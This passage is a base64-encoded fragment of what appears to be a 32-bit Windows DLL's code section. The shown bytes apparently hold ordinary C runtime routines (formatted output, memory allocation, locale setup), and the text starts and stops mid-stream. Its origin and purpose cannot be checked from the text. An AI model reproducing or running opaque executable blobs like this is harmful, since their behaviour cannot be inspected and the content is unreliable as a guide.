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IX2D4RaCgAAig4zwIvQiZXg/f//iYXc/f//iYW8/f//iYWo/f//iI3v/f//iI20/f//hMkPhAQKAACLtZz9//+LhfD9//9AiYXw/f//hdIPiOkJAACNQeA8WHcPD77BD76AGBEBEIPgD+sCM8CLvbz9//8PvrzHOBEBEIvHwfgEib28/f//i73k/f//iYW8/f//g/gHD4eHCQAA/ySFJp0AEDPAg43Y/f///4vYiYWg/f//iYW4/f//iYXI/f//iYXM/f//iZ3o/f//iYXE/f//6UwJAAAPvsGD6CB0RoPoA3Q5g+gIdC9ISHQdg+gDi4Xw/f//D4UtCQAAg8sIiZ3o/f//6R8JAACDywSJnej9///pCwkAAIPLAevwgcuAAAAA6+iDywLr44D5KnUviweDxwSJveT9//+Jhcj9//+FwA+J2wgAAIPLBPfYiZ3o/f//iYXI/f//6cUIAACLhcj9//9rwAqJhcj9//8PvsGLjcj9//+DwdADyImNyP3//+mdCAAAM8CJhdj9///pkAgAAID5KnUriweDxwSJhdj9//+FwIuF8P3//4m95P3//w+JcggAAION2P3////pZggAAIuV2P3//2vSCg++wYPC0APQiZXY/f//6T4IAACA+Ul0RYD5aHQ4i4Xw/f//gPlsdBSA+XcPhSwIAACBywAIAADp9/7//4A4bHUMQIHLABAAAOnm/v//g8sQ6d7+//+DyyDp5P7//4uF8P3//4oAPDZ1HIu98P3//4B/ATR1EIvHg8ACgcsAgAAA6a7+//88M3Uci73w/f//gH8BMnUQi8eDwAKB4/9////pjv7//zxkD4SqBwAAPGkPhKIHAAA8bw+EmgcAADx1D4SSBwAAPHgPhIoHAAA8WA+EggcAADPAiYW8/f//6wIzwImFxP3//42FiP3//1APtsFQ6AA2AABZWYXAdDiNheD9//9Q/7XQ/f///7W0/f//6LkHAACLjfD9//+DxAyKAUGIhbT9//+JjfD9//+EwA+EYgcAAI2F4P3//1D/tdD9////tbT9///ogQcAAIPEDOn8BgAAD77Bg/hkD4/NAQAAD4RRAgAAg/hTD4/tAAAAdHyD6EF0EEhIdFZISHQISEgPhRgFAACAwSDHhaD9//8BAAAAiI3v/f//i4XY/f//g8tAugACAACJnej9//+NtfT9//+JlcD9/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